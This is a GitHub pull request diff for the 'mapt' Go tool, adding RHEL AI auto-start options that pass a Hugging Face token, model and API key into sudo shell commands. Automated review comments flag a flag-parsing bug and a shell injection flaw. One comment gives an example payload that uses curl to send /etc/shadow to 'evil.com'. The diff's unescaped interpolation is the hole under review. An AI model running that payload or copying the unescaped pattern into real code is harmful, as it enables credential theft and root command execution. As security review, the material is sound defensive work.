Skip to content
Draft
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
8 changes: 8 additions & 0 deletions cmd/mapt/cmd/aws/hosts/rhelai.go
Original file line number Diff line number Diff line change
Expand Up @@ -63,6 +63,10 @@ func getRHELAICreate() *cobra.Command {
Spot: params.SpotArgs(),
Timeout: viper.GetString(params.Timeout),
ServiceEndpoints: params.NetworkServiceEndpoints(),
Model: viper.GetString(params.RhelAIModel),
HFToken: viper.GetString(params.RhelAIHFToken),
APIKey: viper.GetString(params.RhelAIAPIKey),
AutoStart: viper.IsSet(params.RhelAIAutoStart),
Comment on lines +66 to +69

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

⚠️ Potential issue | 🔴 Critical | ⚡ Quick win

Fix boolean flag handling to respect explicit false values.

Line 69 uses viper.IsSet() which only checks if the flag was provided, not its boolean value. This means --auto-start=false would incorrectly set AutoStart to true, breaking the ability to explicitly disable auto-start.

🐛 Proposed fix
 				Model:            viper.GetString(params.RhelAIModel),
 				HFToken:          viper.GetString(params.RhelAIHFToken),
 				APIKey:           viper.GetString(params.RhelAIAPIKey),
-				AutoStart:        viper.IsSet(params.RhelAIAutoStart),
+				AutoStart:        viper.GetBool(params.RhelAIAutoStart),
 			})
📝 Committable suggestion

‼️ IMPORTANT
Carefully review the code before committing. Ensure that it accurately replaces the highlighted code, contains no missing lines, and has no issues with indentation. Thoroughly test & benchmark the code to ensure it meets the requirements.

Suggested change
Model: viper.GetString(params.RhelAIModel),
HFToken: viper.GetString(params.RhelAIHFToken),
APIKey: viper.GetString(params.RhelAIAPIKey),
AutoStart: viper.IsSet(params.RhelAIAutoStart),
Model: viper.GetString(params.RhelAIModel),
HFToken: viper.GetString(params.RhelAIHFToken),
APIKey: viper.GetString(params.RhelAIAPIKey),
AutoStart: viper.GetBool(params.RhelAIAutoStart),
🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

In `@cmd/mapt/cmd/aws/hosts/rhelai.go` around lines 66 - 69, The AutoStart field
is being set with viper.IsSet(params.RhelAIAutoStart), which only detects
presence of the flag and treats "--auto-start=false" as true; change the
assignment to read the actual boolean value using
viper.GetBool(params.RhelAIAutoStart) so AutoStart reflects explicit false
values (update the struct initialization where AutoStart is set and any related
references to params.RhelAIAutoStart).

})
},
}
Expand All @@ -72,6 +76,10 @@ func getRHELAICreate() *cobra.Command {
flagSet.StringP(params.RhelAIVersion, "", params.RhelAIVersionDefault, params.RhelAIVersionDesc)
flagSet.StringP(params.RhelAIAccelerator, "", params.RhelAIAccelearatorDefault, params.RhelAIAccelearatorDesc)
flagSet.StringP(params.RhelAICustomImage, "", "", params.RhelAICustomImageDesc)
flagSet.StringP(params.RhelAIModel, "", "", params.RhelAIModelDesc)
flagSet.StringP(params.RhelAIHFToken, "", "", params.RhelAIHFTokenDesc)
flagSet.StringP(params.RhelAIAPIKey, "", "", params.RhelAIAPIKeyDesc)
flagSet.Bool(params.RhelAIAutoStart, false, params.RhelAIAutoStartDesc)
flagSet.StringP(params.Timeout, "", "", params.TimeoutDesc)
params.AddComputeRequestFlags(flagSet)
params.AddSpotFlags(flagSet)
Expand Down
8 changes: 8 additions & 0 deletions cmd/mapt/cmd/params/params.go
Original file line number Diff line number Diff line change
Expand Up @@ -119,6 +119,14 @@ const (
RhelAIAccelearatorDefault string = "cuda"
RhelAICustomImage string = "custom-image"
RhelAICustomImageDesc string = "custom image name to spin RHEL AI OS (AMI name for AWS, image name for Azure)"
RhelAIModel string = "model"
RhelAIModelDesc string = "Hugging Face model ID for RHAIIS (e.g. meta-llama/Llama-3.2-1B-Instruct)"
RhelAIHFToken string = "hf-token"
RhelAIHFTokenDesc string = "Hugging Face Hub token for model download"
RhelAIAPIKey string = "api-key"
RhelAIAPIKeyDesc string = "API key to enforce secure connections to vLLM"
RhelAIAutoStart string = "auto-start"
RhelAIAutoStartDesc string = "automatically configure and start RHAIIS after provisioning"

// Serverless
Timeout string = "timeout"
Expand Down
56 changes: 53 additions & 3 deletions pkg/provider/aws/action/rhel-ai/rhelai.go
Original file line number Diff line number Diff line change
Expand Up @@ -40,6 +40,10 @@ type rhelAIRequest struct {
serviceEndpoints []string
allocationData *allocation.AllocationResult
diskSize *int
model *string
hfToken *string
apiKey *string
autoStart bool
}

func (r *rhelAIRequest) validate() error {
Expand Down Expand Up @@ -73,7 +77,11 @@ func Create(mCtxArgs *mc.ContextArgs, args *apiRHELAI.RHELAIArgs) (err error) {
arch: &args.Arch,
timeout: &args.Timeout,
serviceEndpoints: args.ServiceEndpoints,
diskSize: args.ComputeRequest.DiskSize}
diskSize: args.ComputeRequest.DiskSize,
model: &args.Model,
hfToken: &args.HFToken,
apiKey: &args.APIKey,
autoStart: args.AutoStart}
if args.Spot != nil {
r.spot = args.Spot.Spot
}
Expand Down Expand Up @@ -224,8 +232,26 @@ func (r *rhelAIRequest) deploy(ctx *pulumi.Context) error {
return err
}
}
return c.Readiness(ctx, command.CommandPing, *r.prefix, awsRHELDedicatedID,
keyResources.PrivateKey, amiUserDefault, nil, c.Dependencies)
if !r.autoStart {
return c.Readiness(ctx, command.CommandPing, *r.prefix, awsRHELDedicatedID,
keyResources.PrivateKey, amiUserDefault, nil, c.Dependencies)
}
readinessCmd, err := c.RunCommand(ctx,
command.CommandPing,
compute.LoggingCmdStd,
fmt.Sprintf("%s-readiness", *r.prefix), awsRHELDedicatedID,
keyResources.PrivateKey, amiUserDefault,
nil, c.Dependencies)
if err != nil {
return err
}
_, err = c.RunCommand(ctx,
r.rhaiisSetupScript(),
compute.NoLoggingCmdStd,
fmt.Sprintf("%s-rhaiis-setup", *r.prefix), awsRHELDedicatedID,
keyResources.PrivateKey, amiUserDefault,
nil, []pulumi.Resource{readinessCmd})
return err
}

// Write exported values in context to files o a selected target folder
Expand Down Expand Up @@ -263,6 +289,30 @@ func (r *rhelAIRequest) securityGroups(ctx *pulumi.Context, mCtx *mc.Context,
return pulumi.StringArray(sgs[:]), nil
}

func (r *rhelAIRequest) rhaiisSetupScript() string {
confDir := "/etc/containers/systemd/rhaiis.container.d"
script := fmt.Sprintf(
"sudo cp %s/install.conf.example %s/install.conf",
confDir, confDir)
if len(*r.hfToken) > 0 {
script += fmt.Sprintf(
" && sudo sed -i 's|HUGGING_FACE_HUB_TOKEN=.*|HUGGING_FACE_HUB_TOKEN=%s|' %s/install.conf",
*r.hfToken, confDir)
}
if len(*r.model) > 0 {
script += fmt.Sprintf(
` && sudo sed -i 's|--model .*|--model %s \\|' %s/install.conf`,
*r.model, confDir)
}
if len(*r.apiKey) > 0 {
script += fmt.Sprintf(
" && sudo sed -i '/\\[Install\\]/i Environment=VLLM_API_KEY=%s' %s/install.conf",
*r.apiKey, confDir)
}
script += " && sudo systemctl daemon-reload && sudo systemctl start rhaiis"
return script
}
Comment on lines +292 to +314

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

⚠️ Potential issue | 🔴 Critical | 🏗️ Heavy lift

Shell injection vulnerability: sanitize user-controlled inputs before shell interpolation.

User-controlled values (hfToken, model, apiKey) are directly interpolated into shell commands without escaping. This creates a critical shell injection vulnerability. An attacker who controls these CLI parameters could inject arbitrary shell commands that execute with sudo privileges.

Example attack:

--hf-token='secret && curl evil.com/exfil?data=$(cat /etc/shadow)'

This would produce:

sudo sed -i 's|HUGGING_FACE_HUB_TOKEN=.*|HUGGING_FACE_HUB_TOKEN=secret && curl evil.com/exfil?data=$(cat /etc/shadow)|' ...

While NoLoggingCmdStd (line 250) prevents credential exposure in logs, it does not prevent shell injection.

🛡️ Recommended fix using shell escaping

Use shell quoting/escaping for all user-controlled interpolations. For bash, use printf %q or replace special characters:

 func (r *rhelAIRequest) rhaiisSetupScript() string {
 	confDir := "/etc/containers/systemd/rhaiis.container.d"
 	script := fmt.Sprintf(
 		"sudo cp %s/install.conf.example %s/install.conf",
 		confDir, confDir)
 	if len(*r.hfToken) > 0 {
+		escapedToken := shellescape.Quote(*r.hfToken)
 		script += fmt.Sprintf(
-			" && sudo sed -i 's|HUGGING_FACE_HUB_TOKEN=.*|HUGGING_FACE_HUB_TOKEN=%s|' %s/install.conf",
-			*r.hfToken, confDir)
+			" && sudo sed -i \"s|HUGGING_FACE_HUB_TOKEN=.*|HUGGING_FACE_HUB_TOKEN=%s|\" %s/install.conf",
+			escapedToken, confDir)
 	}
 	if len(*r.model) > 0 {
+		escapedModel := shellescape.Quote(*r.model)
 		script += fmt.Sprintf(
-			` && sudo sed -i 's|--model .*|--model %s \\|' %s/install.conf`,
-			*r.model, confDir)
+			" && sudo sed -i \"s|--model .*|--model %s \\\\|\" %s/install.conf",
+			escapedModel, confDir)
 	}
 	if len(*r.apiKey) > 0 {
+		escapedKey := shellescape.Quote(*r.apiKey)
 		script += fmt.Sprintf(
-			" && sudo sed -i '/\\[Install\\]/i Environment=VLLM_API_KEY=%s' %s/install.conf",
-			*r.apiKey, confDir)
+			" && sudo sed -i \"/\\\\[Install\\\\]/i Environment=VLLM_API_KEY=%s\" %s/install.conf",
+			escapedKey, confDir)
 	}
 	script += " && sudo systemctl daemon-reload && sudo systemctl start rhaiis"
 	return script
 }

Consider using a shell-escaping library like github.com/alessio/shellescape or github.com/kballard/go-shellquote.

🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

In `@pkg/provider/aws/action/rhel-ai/rhelai.go` around lines 292 - 314, The
rhaiisSetupScript function currently interpolates user-controlled hfToken,
model, and apiKey directly into shell commands, creating a shell injection risk;
update this by properly shell-escaping or avoiding inline shell interpolation:
sanitize/escape *r.hfToken, *r.model, and *r.apiKey (e.g., use a shell-escaping
helper such as github.com/alessio/shellescape or go-shellquote) before inserting
into the sed/echo commands, or better yet write the values to a temporary file
and use a safe file-based systemd drop-in update instead of building complex
command strings; ensure the final command built by rhaiisSetupScript (and any
usage with NoLoggingCmdStd) only includes escaped literals or file references
and not raw user input.


func checkAMIExists(ctx context.Context, amiName, region, arch *string) error {
isAMIOffered, _, err := data.IsAMIOffered(
ctx,
Expand Down
22 changes: 13 additions & 9 deletions pkg/target/host/rhelai/api.go
Original file line number Diff line number Diff line change
Expand Up @@ -6,14 +6,18 @@ import (
)

type RHELAIArgs struct {
Prefix string
Accelerator string
Version string
CustomImage string
Arch string
ComputeRequest *cr.ComputeRequestArgs
Spot *spotTypes.SpotArgs
ServiceEndpoints []string
Prefix string
Accelerator string
Version string
CustomImage string
Arch string
ComputeRequest *cr.ComputeRequestArgs
Spot *spotTypes.SpotArgs
ServiceEndpoints []string
// If timeout is set a severless scheduled task will be created to self destroy the resources
Timeout string
Timeout string
Model string
HFToken string
APIKey string
AutoStart bool
}